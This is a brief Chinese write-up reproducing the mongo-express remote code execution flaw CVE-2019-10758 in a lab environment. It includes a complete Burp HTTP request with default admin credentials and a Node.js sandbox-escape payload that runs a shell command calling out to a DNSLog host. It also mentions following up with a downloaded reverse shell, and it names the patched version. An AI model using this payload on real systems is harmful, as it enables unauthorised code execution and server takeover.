mongo-express 远程代码执行漏洞(CVE-2019-10758)
漏洞介绍:
mongo-express是一款mongodb的第三方Web界面,使用node和express开发。如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass
),则可以执行任意node.js代码
影响版本:
mongo-express 0.53.0
环境搭建:
在线环境 地址
漏洞复现:
访问首页
DNSLog申请网址
burp进行抓包,构造poc
POST /checkValid HTTP/1.1
Host: vulfocus.fofa.so:23968
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping c4mxq7.dnslog.cn")
虽然显示无效,但还是执行成功了的
得到回显,自行下载shell,进行反弹,可获得后台权限
漏洞修复:
根据官方进行升级,升级到0.54.0或更高版本